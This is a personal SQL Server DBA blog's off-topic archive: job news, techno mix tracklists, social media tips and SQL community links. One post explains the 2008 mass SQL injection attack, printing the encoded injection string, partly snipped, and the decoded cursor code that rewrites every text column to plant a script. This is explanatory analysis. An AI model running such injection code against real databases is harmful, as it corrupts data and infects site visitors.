Entries for the 'Offtopic' Category

Moving

I have ported my blog to wordpress. It is simply the best blogging platform there is. This site will stay up for historical purposed. but all new content can be found here starting today. http://jasonmassie.com

If you are an RSS reader, no need to do anything.

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Yup, I suck.

I have been pinned down with employee reviews and SQL PASS abstracts. On top of that, I have been learning Linux and Oracle instead of working with SQL. It is fun. I am learning 30 things a day but it is either level 100 or 500 for this crowd. I will put out a Oracle cheat sheet for SQL DBA’s soon though.

You can peep my life stream if you want to keep up.

Until then I will keep failing…

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Bacon Bits and Bytes

Quick and to the point. This is a satirical and risqué blog on technology\gadget\microsoft\RDMS. Heck, anything is fair game. Some have already been offended but the great thing about the internet is you can click “back” and never return. To quote Brent, “Some people like Bill Cosby, some prefer Eddie Murphy, and a few like both.” You like it or don’t, we are just going to do our own thing.

Remember everything we post is NSFW in some corporate environment but a lot of it will fly in laid back shops. All posts are meant to be humorous though they may be crude or juvenile. Some funnies just out right fail.

The chefs include:

Mystery man extraordinaire: Wilbur Applewood, aka BaconBitsNBytes on Twitter

Brent Ozar, aka BrentO on Twitter

Jason Massie, aka StatisticsIO on Twitter

Tim Ford, aka SQLAgentMan on Twitter

Tom LaRock, aka SQLBatman on Twitter

Brent and SQLBatman both have posted better run downs.

So if you are feeling adventurous, check it out(Post RSS, Comment RSS, Subscribe by email, Twitter).

Technical post on SQL Server and related topics will resume here.

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Offtopic: Gamer Tag

I finally signed up for xbox live. My gamer tag is Captain Varchar. Right now, I am just playing Left 4 Dead. However, it is hard as hell but let's kills some zombies! Next week, it is will be Halo Wars after I get back from the MVP Summit.

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Off Topic: Boogers

 Here is a way off topic post. The music in this mix of house and techno is definately an aquired taste. 

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Tagged: New Year’s Resolutions

David Stein started a new and timely thread. He tagged me.

This article is about the professional resolutions for improvement that I intend to make in the new year and I will tag a couple other people to do the same.

1. Learn enough linux to manage a database on that platform.
2. Become an orange belt(or better) on Oracle and MySQL
3. Master Inbox Zero.
4. 2.5 technical blog posts a week in addition to the useless blabber and failed humor attempts.
5. Maintain balance between work, family and community.

Next victims:

Denis Gobo(Twitter, RSS, LessThanDot)

Joe Sack (RSS)

Michael O’Neal(Twitter, RSS)

Chris Shaw(Twitter, RSS)

P.S. Exercise 4x a week and make it back down to size 32’s.

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The Internet Really is a Series of Tubes

See.

Pic credit to TechCruch.

If you don’t get it, then you have not seen this:

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Detroit Techno

http://statisticsio.com/jmass%20-%20detroit.mp3

It has been a while since I have time to put together a mix. This one is themed around my favorite genre and most painful points of my life. I remember being in Detroit and hearing “Clear” over the intercom in Taco Bell while ordering food through bullet proof glass. That is the theme of Detroit in general. Melancholy at best and a life or death struggle at worst.

I read somewhere that in the 70\80’s, Detroit was about the only major metroplex that black folks had a widespread good future due the auto industry. Some of the children of that generation took the soul from Motown, bought synths and drum machines and turned it into techno.

This is my tribute. If you are “in the know”, some of the classics may be played out to you and some are only influenced by Detroit. This mix is aimed at someone who has never heard this music but you may find a good tune or two here as well. I hope enjoy. You can find out more about these artists here http://discogs.com

I kinda have been trying figure out if I wanted to post this or not. There is one song that I should have excluded and a bump in another mix. However, I decided the music is worth hearing especially if you like electronic music but have not heard Detroit Techno.

Morgan Geist - Detroit (feat. jeremy greenspan)
D5 - Oscillator
$tinkworx - Hu T'ieh
Dan Curtin - This was tomorrow
Jeff Mills - The bells
The Aztec Mystic - Jaguar (Original mix)
Morgan Geist - Room 120-2 (dan curtin re-work)
deep chord - step 3 (Mike Huckaby Remix)
Octave One -Daystar Rising
DBX - ?
Robert Hood - Public Enemy No. 1
Detroit Grand Pubahs - Thanks For Coming (Steve Bug's As Funky As Your Ass Mix)
Aril Brikha - Deeparture in Time
Los Hermanos - Birth of 3000
Model 500 - Starlight [Echospace Mix]
Soul Designer - Street Jazz Variations
Character Maps Remix - Perspects
Morgan Geist - In your electric
Audion - T.B.
Troy Pierce - 25 Bitches (Berg Nixon ZigZag )
Carl Craig - Demented Drums
Clé - Water
Photo - synthesis aka suburban knight
Phsyche - Crack Down
Orlando Voorn - Flash
John Tejada & Justin Maxwell - Pimp My Glide
Convextion - Frozen Surface
duplex - autosug
Marco Passarani - Clair
morgan geist - most of all (feat. jeremy greenspan)

http://statisticsio.com/jmass%20-%20detroit.mp3

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DBA Shenanigans

 Check all the other geek graffiti @ oddee

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Yup, I am that Douche

Wow, what stressful week. I would much rather do a total disaster recovery on a VLDB than do this again. Last week, I announced I had taken a new job. Leaving my current position of nearly a decade. Well, I took a counter offer. When I resigned I told them I was not interested in a counter offer. I was so confident that I even announced it here before my butt was in the new seat. I took the job because it was really cool. There was not anything wrong with my current job or company. I was perfectly happy. The prospective employer contacted me on linkedin. I was not out job hunting.

My current employer respected that I wasn’t interested in a counter offer but a week and a half into my final two weeks the Manager of Database Services and Escalations resigned and they offered me that job. I thought that my decision to take the new job was tough. Well, let me tell you taking the counter offer was 10x rougher.

I weighed all of the pro’s and con’s. The only con for staying was the fact that I would be going back on my word. I don’t take that lightly but it was the best move for my family and I.

It came down to a lot of reasons but two main ones:

• We started this process talking in September. The economy had a horrible October. The outlook is grim for at least the next year. Most people expect it to get much worse before it gets better. I would much rather go through a great depression scale recession here. That may be just because I know where the company stands in the market and with me. However, I would hate to be the low man on the totem pole who is working remotely if things get really bad.
• In October, Microsoft announced their cloud computing initiative at PDC. This basically makes the MSSQL DBA obsolete. There will still be some on premise installations but it will be for legacy applications and the largest application so the MSSQL DBA market will be much smaller. That may take a few years but I am making this decision with the next decade in mind. In my new role, I will gain MySQL and Oracle experience which will allow me to diversify.

Conventional wisdom says never take a counter offer. However, I took the new job for unconventional reasons. It wasn’t about money. It wasn’t because I was unhappy. It was all geek factor. I just wanted to work on something of that scale.

I don’t think there is a totally right answer and I will always wonder “What if” but now that the smoke has cleared, I am feeling more and more that I made the best decision.

Thoughts?

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A New Chapter

I have been with Terremark WorldWide(Formerly Data Return) since June of 1999. Almost 70 dog years or 100 IT years. Through the good times like the startup and IPO phases. The bad times; It was tough for a managed hosting company in the dotcom bubble. At one point, I was the DBA, AD admin, exchange admin and helpdesk after several layoffs. We fought our way through all of that with the help of some remarkable people and leadership. I would consider this another good time for the company but it is time for me to move on.

So what on earth could make a change adverse person like me do something so drastic? MySpace. I have accepted a position on the Database Administration team. Depending on how you count the beans, they have to be in the top 3 largest MSSQL installations in the world. I really liked the culture and clicked with the team members. I think this position will keep me happy for the next decade or more.

However, it is very weird. Pinch me.

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Google Reader Stats

I guess it is safe say I am a geek who is into SQL with my eye on the cloud. Anything in your top 40 that I am missing out on?

Note: You will have to be a google reader user for those links to work. Although, you can probably reverse engineer if need be.

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Blog Action Day: Poverty

This way off topic and based on this site but here is what I suggest. I realize it will have no impact but here we go.

Part 1:

• Stop the war of drugs(Decriminalization not legalization)
• Stop the war in Iraq
• Stop the war on illegal immigration

Take the money saved and invest in part 2.

Part 2:

• Increase drug and mental illness prevention\treatment programs
• Increase educational programs from k to college.

Why not give someone the help they need, an education, and a vocation instead of a habit and jail cell? I believe this is working in various forms across Europe. I am not interested in arguing that fact though.

Robert also posted on B.A.D. here.

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The DB as a Service Inevitability, Trend, Fad, or Whatever.

Here are some places to watch:

http://oakleafblog.blogspot.com/ (RSS)

http://www.cloudave.com/ (RSS)

http://blogs.msdn.com/ssds/  (RSS)

http://www.amundsen.com/blog/archives/?category=15  (RSS?)

http://blogs.msdn.com/drobinson/default.aspx  (RSS)

MSDN SSDS Search (RSS)

http://brentozar.com (RSS) Yes,I link Brent in every post because I have a mancrush.

Of course, this is incomplete. Post if you have good resources…

You should also be watching the PDC news because that is where all of the game changing announcements are going to be dropped. I would suggest http://search.twitter.com as it get closer.

Things move fast. Do you still feel the same way the first time you read this?

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Music for Geeks

This is my tribute to geeks around the world. It contains music from 4 decades. Electro based with lots of vocoders and 8bit atari sounds. There are no f-bombs but you probably want to use headphone in a corporate environment. Otherwise, a subwoofer is required.

I will be keeping my dayjob but the music is good.

It was mixed with Virtual DJ 5.0 with no post production edits..

You can find more info on these songs or artists on http://discogs.com.

Arpanet - the analyst
computor rockers- green screen
Claro Intelecto - Peace Of Mind
computor rockers - computor rock (remix)
Kraftwerk - Numbers
dopplereffekt - porno actress
Carl A Finlow - conflict
dexter - i program
huaratron - male bonding
elecktroids - stun gun
drexciya - bang bang
JAMIE JUPITER - Computer Power
JACEN SOLO - Electracid
dynarec - the lost souls
Voice Stealer - Undercover
Mariel Ito - Satisfied Death
little computer people - little computer people
clatterbox - rosetta complex
Silicon Scally - Toneworks
Egyptian Lover - I´m so freaky
Automat - Robomelo
dopplereffekt - i am a scientist
dexter - i don't care
Mr. Velcro Fastener - The Process
Luke Eargoggle - I Play Live And Chess
Dopplereffekt - Sterilization
Kraftwerk - Titanium
Anthony Rother - Genstruktur
Giorgio Moroder - Battlestar Galactica(The original BSG circa 1977) theme (disco mix)

download here:
http://statisticsio.com/muzak4g33kz.mp3
320kbs
170MB
1:16 hours

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Notebook opinions?

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How do you Roll?

 Ok, one more OT post. The OS war is heating up with Microsoft fighting back.

vs.

I am not trying to start an eFight. I agree that Mac’s have their place. They are great for n00bs and grandma’s.

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SQLBlog on twitter

http://SQLBlog.com is now on twitter @SQLBlog. What is so cool about this?  They set it up to alert people when new entries are posted but it can also act a psuedo-group for SQL wonks. Chances are that if someone is following @SQLBlog and you are into SQL, you will find this person interesting enough to follow.

If you are still in the dark ages, here are some links to help you get started with Twitter.

Twitter for SQl Server DBA’s

Twitter 101

Lame and boring people I follow on Twitter

Cliff Notes: Social Computing for DBA's

More SQL on twitter

A twitter video primer

To bring it back on topic, community and SQL Server is changing. The NNTP newsgroups and MSDN forums have there place but I need more than answering the same question with an easily googled answer over and over.

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Recent Site Work

I reskinned my blog over the weekend. Feedback, both good and bad, are welcome and appreciated. I have also added functionality to the blog. Once you comment, your name, email and website should be cached in a cookie so they are auto-filled next time you comment. You can also use bbCode in comments. For example, [url] and [b]. However, I started to get tons of comment spam so I turned on CAPTCHA.

Edit: You can adjust font size and layout with the, ahh, doohickey on the right.

Let me know if you run into any bugs!!!

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Site updates

It is going to be a crappy day due the Ike leftovers so I am going to be working on the cosmetics of the site today. All content will be usable but the site will look weird or even horrendous until I am done.

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We are Hiring!

My friendly local internal recruiter asked me to post about the upcoming job fair that we are having. I have a lot of good things to say about the company I work for so I figured why not especially considering the fact that the country has bled 600k jobs so far this year.

I have worked for Terremark(formerly Data Return) for almost 10 years. I have interviewed a couple times over the years but I have yet to find anything I would leave for yet. ;) Here are the major pluses that I see:

• Even in an economic downturn, we are growing in every conceivable way. More customers, revenue, data centers and head count.
• Our Wall Street YTD performance  beats the NASDAQ and our competitors.
• We work on some of the largest customers and demanding implementations with the latest technology and cloud computing. You can see logos on the home page.
• Internet G33k Culture

We are currently hiring 43 positions including a SQL DBA.

Here is the info on the Open House.

Terremark Open House
September 16, 2008
7:30-9:30am or 5:00-7:00pm
Urban Towers 1st Floor Conference Room
222 W. Las Colinas Blvd.
Irving, TX 75039

Thank you for your interest in participating in the Terremark Open House at our Las Colinas offices. In addition to learning more about The Enterprise Cloud™, Terremark’s newest managed services offering, you will have the opportunity to network with the top technological minds in the industry. This will also be a great time to drop off your resume.

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OT: The Convergence of CNN and Social Computing

First, I really hope the damage and loss of life is minimized. It is sounding like Gustav is not as strong as expected but will probably still be very destructive. However, I saw something game changing on CNN yesterday that I want to blog about.

I was watching Rick Sanchez who was the CNN anchor Saturday afternoon and evening. Of course, almost all news was related to hurricane Gustav which was predicted to hit landfall near NOLA as a category 4 three years after Katrina. News-wise, this is about as big as it gets. Just as an example of the gravity of the situation, the republicans had to curtail their convention. This might cost them the election this fall in such a tight race.

What was so groundbreaking was the fact that Rick was taking questions, comments and feedback from twitter and facebook. So? What is the big deal about that? It made the live CNN broadcast real time and interactive. A lot of people followed him and interacted very quickly. Here are the follower stats from http://twittercounter.com

You can use this search to see the real time information and comments that Rick received. He ended his long shift with this comment.

Welcome to the present CNN. Please comeback and take it to the next level. The twitter community usually knows about news as it happens. Take the Chinese earthquake for example. Sometimes the news breaks first on twitter as in Sara Palin's case.

You can read Rick's updates and follow him here. Not to minimize the tragedy but great job reporting, Rick. This is how cable news does not meet the same fate as the newspaper.

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SQL Server and Twitter Again

I tried to get the message across in char(140) but I think I should expand. It really sucks that we have to resort to circa 1999 lists like this but, alas, twitter does not have any kind of group functionality.

I am going to update this post since there are tons of new SQL people that I have found. However, I follow a lot of different people(1300 and growing) so there is a good chance I may miss you.

Please pipe up in one of the following ways:

1. Comment on the original post.
2. Comment on this thread.
3. Email me.
4. DM me.

If you were included in the original post then nothing is required. Also if your twitter feed is public then it is fair game. If for some reason you are not the social butterfly, let me know to exclude you.

Update: What makes you worthy of this list? A 6.5 hour hands on test over SQL Server 4.21 on OS2. Simply the desire to be included.

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PHP Driver for SQL Server - Watch out LAMP

The PHP Driver for SQL Server 2005 RTM'ed today. A few months ago, I posted about the WIMP(Windows 2008, IIS7, MSSQL, PHP) stack that Microsoft was working on to take on the LAMP(Linux, Apache, MySQL, PHP) stack. Supposedly, Microsoft has made some tremendous strides in PHP performance with IIS7. I was like "meh" until today when they released the PHP driver for SQL Server 2005.

Test drive time?

Hmm, maybe it is time to setup a wordpress mirror. While looking looking for some IIS\PHP benchmark, I found this post that details the setup. I am pretty sure I could hack the MySQL code to work on MSSQL. *Looks at plate. Reconsiders.*

This post is useless without numbers

What does concerns me a little is the lack of benchmarks. It seems like it would be really easy to take the same open source php apps and the same hardware then run some linux vs. windows 2008 performance tests. I just did some quick searches so they may exists. The windows performance team did release their php tuning guidelines. Come on with the numbers Microsoft!

Time to over deliver

Really, it has to be better than LAMP or the community will chew it up and spit it out. I hope WIMP is actually hefty, hefty, hefty. I think MSSQL(and Oracle\DB2) have had slower growth due to open source RDMS bleed. A stout windows PHP platform, this driver and SQL Server 2008 Web Edition will better position MS in that segment.

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OT: My Guilty Pleasure

In my spare time, I mix and make electronic music. Techno and copious amounts of Kimchi are really the only boyhood vices that I have held on to. So a few days ago, I had an hour or so alone in the studio and this was the result. It is mainly deep techno\house with Detroit, Chicago, and Berlin influences. It is definitely an acquired taste. I have another mix that is a little more n00b friendly.

Download here.

Tracklisting:

echospace -  sonorous (midst of something beautiful mix)
Trüby Trio- New Music (Wighnomy Bros. Remix)
John Tejada - Sucre (Vocals by Qzen)
Steve Bug  - Smackman
Aril Brikha - Ride
Brett Johnson - Cuckoo (Motorcitysoul Remix)
Quince - Vitajazz
convextion - Desolate Hub
convextion - miranda (original mix)
Audion - Uvular
Heartthrob - Golum
Shed - Handle With Care II - Original Mix
Duplex - play our music
dimension 5 - automation
Maetrik - Sexus
Substance & Vainqueur - Reverberate
Claro Intelecto - operation
Detroit Grand Pubahs - Sandwiches
Dan Curtin - Slave
Glenn Underground - Servants Jaz House               
Duplex - entropia
Argy - Nuthouse
Red Shape - Steam
anthony rother - maschinenwelt
Audion - Vegetables
Vince Watson - the way its meant to be
D5 - Labwork
I:cube - lak

If you would like to know more about the artists, search for them on http://discogs.com

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OT: FriendFeed Stats

These are my stats from FriendFeed, I thought I would share. Here is the wikipedia entry on FriendFeed.

FriendFeed is a social aggregator that consolidates the updates from social websites such as blog entries, social bookmarking websites, and social networks among others. This allows individuals using multiple social websites to have a consolidated stream of details on all their activities across these websites.

To bring it back on topic, follow this(www, rss) and you will have have the latest on all things SQL Server. However, it would be better if you contribute as well!

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SoftDev Meme Casualty

For more info see the wikipedia entry on meme's. Denis Gobo called me out. I think it goes back like this: Denis Gobo > Andy Leonard > Frank La Vigne > Pete Brown > Chad Campbell > Dan Rigsby > Michael Eaton > Sarah Dutkiewicz > Jeff Blankenburg > Josh Holmes >  Larry Clarkin

How old were you when you first started programming?

I wouldn't call myself a developer but I walk the grey line that all DBA's must. IMO, a good DBA usually has to administer the OS, write code and troubleshoot the network when the finger is pointed at SQL.

How did you get started in programming?

I really not old(school) like some of these that I have read. ;) My first programing was space invader like program that my lab partner and I wrote(mostly copied from the book.). I don't remember the hardware. The year was '82 - '83 and I was in 3rd grade. I slept through most of my other computer ed classes. I didn't get my own computer until '95.

What was your first language?

BASIC what else?

What was the first real program you wrote?

An online ticketing application in classic ASP\SQL. I wrote it from the ground up in my free time. It was going to be the next ticketmaster.com but after I wrote it I got bored with it. I would rather geek out than market and manage. lol

What languages have you used since you started programming?

BASIC, SQL, VB6, VB Script, ASP, VB.net, powershell

What was your first professional programming gig?

I have never had a proper programming job. I started off doing tech support for Windows 95 and IE3\4. I have been in multiple positions at my current company for the last 9 years. All have been SQL related.

If you knew then what you know now, would you have started programming DBA'ing?

Hell yes. There is no way I could not do it.

If there is one thing you learned along the way that you would tell new developers, what would it be?

The only stupid question is the one you haven't google'd before asking.

p.s. Learn the command line.

What’s the most fun you’ve ever had … programming?

Using @assmilk for a variable. P.S. http://www.thewebsiteisdown.com/

Who are you calling out?

Brent O

Peter Debetta

Rob Farley

Arcane Code

Rhonda Tipton

Chris Shaw

Kevin Hill

Zain Naboulsi

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Extra Extra Read all About it

So you have a healthy subscription of blog feeds. You read the "legacy" NNTP groups. You might even have email alerts set up from google\yahoo! news to email you when SQL is mentioned in any article from sources like AP, Reuters and the other big boys. However, there is a good chance that by the time you get the scoop from those sources it is old or important new blogs or articles are sliding through the cracks.

Here are some good sources to find new feeds or 0-hour info on SQL Server:

FriendFeed (WWW, RSS) - The drunk uncle of all social aggregators. See this post for more info.

RSSMeme (WWW, RSS) - RSSMeme aggregates\ranks Google Reader shares. Why let the media, vendors or single person tell you want is important. Let the collective conscience of the intertubes guide you.�

Summize (WWW, RSS) - Everything hits twitter first. Everything. From the Chinese earth quake to the 3G iPhone price, all on twitter way before CNN. The same goes for SQL...

Google BlogSearch(WWW, RSS) This used to be too spammy so I quit using it. Looks like they cleaned it up. I will be using again.

MSDN Blog Search (WWW, RSS) - The web search is flaky sometime you have to submit several times so submit again if nothing comes back. You get noise(to me) results from Japanese or Croatian bloggers but you also find new gems like Microsoft Bob or Moving Mars

Honorable mentions: SQL @ Digg, Spamerati Technorati, Technet BlogSearch

You can apply these concepts to all news. CNN\MSNBC\Yahoo! News could suffer the same fate that they did to the newspaper if the do not stay in touch with technology.

If I am missing a good source, please share!

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Blog Roll Update

I wish could easily suck out links to blogs that I read and are SQL related from google reader but I have too many that are not SQL related or they use feedburner. On top of that, xml is a pain for humans to crunch and reformat to html.

Anyway, I am going to update the blogroll this weekend. If you are not listed and want to be, please comment. The only requirements are the topics must be SQL related, at least occasionally, and you must have posted within the last quarter at least once. A Reciprocating links are welcome, appreciated but not a deal breaker.

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Cliff Notes: Social Computing for DBA's

If you look around, you will notice Facebook, LinkedIn, Twitter, FriendFeed, Delicious and links to other social sites. So yah, it has made the Internet interesting to me again. It seems like developers adopt these technologies faster than DBA's. I guess DBA's are conservative by nature but sometimes change is good. The Microsoft forums(NNTP and HTTP) are nice and sometimes some meaningful conversation occurs but a lot of it is some dude asking the same easily googled question that someone else asked the day before. They do have their place and will be around for a long time but I am here to tell you there is more out there. I am going to give you a quick break down of the sites I use most often along with tips for the MSSQL DBA.

LinkedIn:

LinkedIn is probably the most widely accepted site by DBA's. There are two types of people on LinkedIn. The type that want to be connected to as many people as possible and the type that just wanted to be connected to the people they know in person. Both have pro's and con's. Two spots of interest for MSSQL DBA's are: SQL Server Professionals group and the Database Answers sections.

FaceBook:

Facebook is all the rage right now. Mark Z. is 23, single and worth 15 billion .com dollars. It must be nice. :) Chances are if you know someone, you know someone on Facebook. The downside, to me, is it seems like it is hard to interact and get to know *new* people. You could join the SQL Server 2008 group or the SQL Server 2005 group but traffic is light. The upside is the fact that they have allowed you import RSS feeds from other services so your friends can see your google reader shared items, flickr pics, YouTube fav's, Digg's etc. Add me as a friend.

Twitter:

This is a very popular micro-blogging service where you answer on question in 140 characters or less. You can check out Brent O's post on it as well. I will add that to get the most out of it, you have to subscribe to enough people. "Enough" is a relative term. You can read this post to get started. To keep an eye on SQL in the twitterverse, I use this search and subscribe to the RSS feed. I also use digsby as the client. This merges IM, twitter, and facebook into one client. Plurk get honorable mention as an up and coming twitter alternative.

FriendFeed:

This is a life streaming service from former google developers. It is simple yet extremely useful. Sign up and then import all of your services like flickr, google talk status and shared items, twitter, YouTube, and other RSS\JSON based feeds. See my page as an example. However, the flip side is what makes this service so useful. Once you subscribe to a 100+ people with similar interests, you have focused stream of new info. There is "noise" but you can also filter. I filter out all twitter messages that are not "liked" or commented on. See this post when your signal to noise ratio gets out of whack.

I am not going to talk about DIGG, del.icio.us, LiveJournal, MySpace. If you are not using those sites already, it is probably because you don't want to. Maybe it is just me but I am beginning to phase out those sites. I spent most of my browser time in google reader and FriendFeed these days.

The million dollar question: What is the next big thing? If you can answer that, you'll have VC's throwing money at you.

Let me know if I am sleeping on anything useful.

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Interesting or Funny SQL Tweets

Have gratitude. Things could always be worse. TGIF.

FlyingElvis: twitter keeps failing? Shoulda used .net and sql server clusters. Dorks.

tjarrett: SQL - The cause of, and solution to, all of my web development problems

king_pest: the nicest thing about SQL is that one can produce really HUGE selects. and they do sometimes work. sometimes.

praxxis: im pretty sure SQL isnt supposed to do that

dbmynx: Studying 4 three sql exams in the hot tub with a glass of wine. Prolly only remember the name of the wine

twheeler: digging into mounds of sql only to cry

kmwinter: why must MS SQL Server suck so hard. No offset equivalent? geesh.

Encosia: Anyone know of a direct upgrade path from SQL Server 6.5 (yes, seriously) to 2005?

mklopez: Full day spent submerged under an ocean of SQL code. Not as refreshing as it sound, actually quite the contrary: i'm close to drowning!

dr_pete: Just nuked 4 hours of work and 2000 records with 1 careless SQL statement. Fantastic.

aim1159: OMG, я больше не могу писать SQL запросы. Третий день, а конца не видать!..(Editor's note: I don't know what that means but it sounds bad :))

vulgrin: just spent 4 hours trying to get SQL Reporting service to work on Vista - Screw you Microsoft - I want 4 hours of my life back you @#$#@$#@

cstarrett: I am no longer a SQL virgin...and I feel so dirty!

Walk a mile in my shoes: http://twitter.com/statisticsio

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More SQL on twitter

I subscribe to a twitter search on the SQL keyword. Geeky but that's how I roll. I have run across some interesting and humorous tweets on SQL(not necessarily mssql). Remember, we are laughing with you not at you. :)

SQL - the Klingon of programming languages.

Best way to store a large bit field in SQL?

Beating my head against the desk just a little more over SQL Server 2005...I hate all databases....

SQL Server Reporting Services why must you torment me each day?

@mars0701 I will readily give you that Microsoft's SQL development tools are the biggest turd in the history of phisiology.

more coding. sql injection prevention sucks. why cant everyone just behave on the internet, then i can write lazy code

is scared by the number unknown and unused SQL servers he "administers".

tired. scary faces emerging from long sql queries.

50, 000 lines of SQL ... aaaarrrgh!!

SQL Server 2005 install is making me look like an ass. Time to get midieval on its state checking footer bit and make it pipe "mamma" to &1

Best SQL Error Ever: "A severe error occurred on the current command. The results, if any, should be discarded."

Testified yesterday. Attorney asks "can you walk us through this SQL statement line-by-line" and soon regrets asking as everyone tunes out.

I declare today victory over SQL day...ALTER this, punk!

woohoo! sql queries over! w00t!

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Friendfeed SQL Server Room

I am sitting in the Tucson Airport. My flight is running late :( I just got done shooting 3 sessions for SSWUG's virtual conference. I think it went well but it is odd being in front of a camera instead of an audience. Anywhoo...

Friendfeed is a life streaming app that is an RSS aggregator with nice social interaction. It is a startup from ex-google employees and it is growing very fast. With a little bit more functionality, they are going to blow away facebook and twitter before too long.  Friendfeed and google reader is where I spend the majority of my time on the innardwebs these days.

They launched "rooms" today. I created a SQL Server room. Right now, you cannot add RSS feeds but you can post comments, links and other stuffs.

http://friendfeed.com/rooms/sqlserver

So sign up, join up and participate.

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SQL people that I follow on twitter

If you don't know what twitter is, click here for the wiki entry or here for a nice video primer. In a nutshell, it is blogging meets IM. I like it so I will link to interesting SQL people that I follow.

BrentO - SQL guy from Quest Software - http://twitter.com/BrentO

Denis Gobo - Blogger - http://twitter.com/DenisGobo

Ra - SQL DBA Dev - http://twitter.com/Osolage

CJewel - SQL DBA\Romance Author - http://twitter.com/cjewel

ArcaneCode - SQLSaturday Speaker - http://twitter.com/arcanecode

LLangit - MS Evangelist\MSDN Blogger - http://twitter.com/llangit

JFollas - Blogger - http://twitter.com/jfollas

Greg Low - MVP\Blogger\Podcaster - http://twitter.com/greglow

Richie Rump - Blogger\DBA - http://twitter.com/Jorriss

Jeff Wharton - Blogger\Speaker\Consultant - http://twitter.com/JeffWharton

Chris Randall - SQL Instructor - http://twitter.com/cfrandall

Peter Ward - Aussie SQL guy - http://twitter.com/wardy

RTipton - Developer but knows\works with SQL - http://twitter.com/rtipton

Brad McGehee - SQL Server Performance - http://twitter.com/bradmcgehee

Chuck - SQLServerDVD.com - media mogul - http://twitter.com/chuckboycejr

Punkass - A SQL guy with a sense of humor - http://twitter.com/PunkAss

Rob Farley - Aussie SQL MVP - http://twitter.com/rob_farley

Paul Nielsen - MVP, author, speaker - http://twitter.com/PaulNielsen

Rob Boek - SQL Consultant - http://twitter.com/robboek

Louis Davison - Blogger\Author - http://twitter.com/drsql

Andy Leonard - Blogger - http://twitter.com/AndyLeonard

Lesie Taylor - SQL person hiding as a .NET developer and a SharePoint undercover agent - http://twitter.com/yodamon

Marlon - Blogger\LinkedIN dba group leader - http://twitter.com/MarlonRibunal

Mark Gardner - SQL BI fellow - http://twitter.com/mgarner

I am sure I missed a few. I just scanned 700+ people that I follow. I follow developers, social media people, mySQL people and other who look interesting. So sign up and follow me because if you have read this far chances are, I would like to follow you.

Let me know if I forgot you or comment with your URL if you just signed up.

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How can something so brilliant be so evil?(or Why cursors are bad)

Here is a anatomy of that huge SQL Injection attack that has been in the news. It targets MS SQL and ASP but it could be written for any database platform with application holes. There was inaccurate reporting in the press. Sensational headlines like "500,000 websites hacked due to Microsoft vulnerabilities" It should read "application" vulnerabilities. The same thing could happen on any platform. The thing about this one was the fact that it brilliantly designed to self propagate.

*Warning*

*Do not run this in any instance you care about*

*Warning*

On the affected sites, they post this query string:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200 [snip] 7200%20AS%20NVARCHAR(4000));PRINT(@S)

Which translates into this:

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200 [snip] 7200 AS NVARCHAR(4000));exec(@S)

The code that actually executes is this:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

So it appends that script for to any character field and if that happens to be web html then it gets displayed on your website. The .js file infects users and the cycle continues.

More info can be found here.

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My OPML

I switched to google reader today from Outlook 2007. The main reason I went with Google was so I could share and push that feed into FriendFeed but now I am liking it better than Outlook.

Anyway, here is my OPML file. It is a not a comprehesive SQL blog list but it is a good start. Let me know if I am sleeping anything that is mandatory reading. I will update it quarterly.

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SQL Server goes GREEN.

Greg Linwood filed a connect with MSFT to remove nonclustered indexes (NCI) from the backups of SQL Server. The idea being less backup overhead and less power. That is a good idea. :) Check out his blog and then vote at the connect site.

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OT: My life as an RSS feed

I promise to post some SQL content within the next day. :) I always hated myspace. I thought Live Journal was ok. I am not single and looking or in a band. LinkedIN and Facebook are much more useful to me. I am getting into twitter which is described as micro-blogging or macro-IMing depending on who you follow.

Anway, here comes FriendFeed. Nevermind the ghey name. From what I can tell so far, this a feed aggregator that basically turns your life(as much as you choose) into an RSS feed. This can be your blog feed, social bookmarking links, Flickr, YouTube,  gmail status, twitter, google shared feeds and anything else with an RSS feed. It integrates with facebook if you wish.

Scobleizer reports that they are growing by 25% every couple of days. That can’t be right. That is viral. Who knows…

Here is my friendfeed. Here is the RSS feed.

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OT: Music to code to Mix CD

I tried to think of a clever way to way tie this in with SQL but I got nothing. I have a SQL 2005 upgrade Sunday night so I left early and got to the music room while the house was empty. This was the result. Its not perfect but the music is varied and quality from labels like Delsin, Downlow, and Clone. Artists like Mariel Ito, Convextion, Metro Area, Glenn Underground, Dan Curtin, DBX, Art of Noise, and Kraftwerk. Berlin to Detroit. 1984 to present. It has a high nerd content. 74min 320kbs Enjoy.

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New features in StatisticsIO 2008 MARCH CTP

There are a couple new features that I would like to quickly point out. These are basically just tools that I use daily so I integrated them into the site. I hope you find them useful.

• I have everything running faster. Not a new feature per say but it definitely helps usability.
• I have extended the blog aggregator to include a lot more feeds. Let me know if you would like your feed to be added!
• I have added a digg SQL feed. I am using digg more often and find it useful so start digging(preferably starting with this post) so I do not have to resort to web 1.0 google searches.
• The SQL Server 2008 facebook group is linked. Join up and add me as a "web pal" Note: I am happily married and discourage webbernet stalking so please maintain so self control.
• I have also added an event page on where you can catch me speaking or download session slides and code from previous presentations.
• And if you have not had a chance to check out the MSDN and TechNet feeds, you are missing out.

ALT HEAD: HOWTO: Inserting dummy data

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SQL shorts

We regret to inform you of a passing in the SQL community.   Read more here.

Rick Heiges has a post on my favorite new feature in SQL Server 2008, filtered indexes. 

So does Decipherinfosys along with a good description on the difference of indexes and statistics if you need some background.

SQLBlogcasts has gotten an upgrade and Tony posts some great stats. Congrats!

Not SQL per say but the Hyper-V release candidate has been released. Speaking of Hyper-V, Sriram posts his slide decks on virtualizing SQL. Part 1 and Part 2.

This is a great starting point for SQL Server 2008 as is this. These come by way of the MSDN\Technet update blog.

The SQL Server 2005 sp3 debate continues.

The SQL ISV team posts a performance improving cursor rewrite sample. However, it is not ANSI compliant :) which is odd since most ISV tsql code needs to be portable.

Paul Nielson will be releasing a DVD.

While we are at it, check out the new SQL Server social network.

alt head: Got ADD?

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Gigaerotica

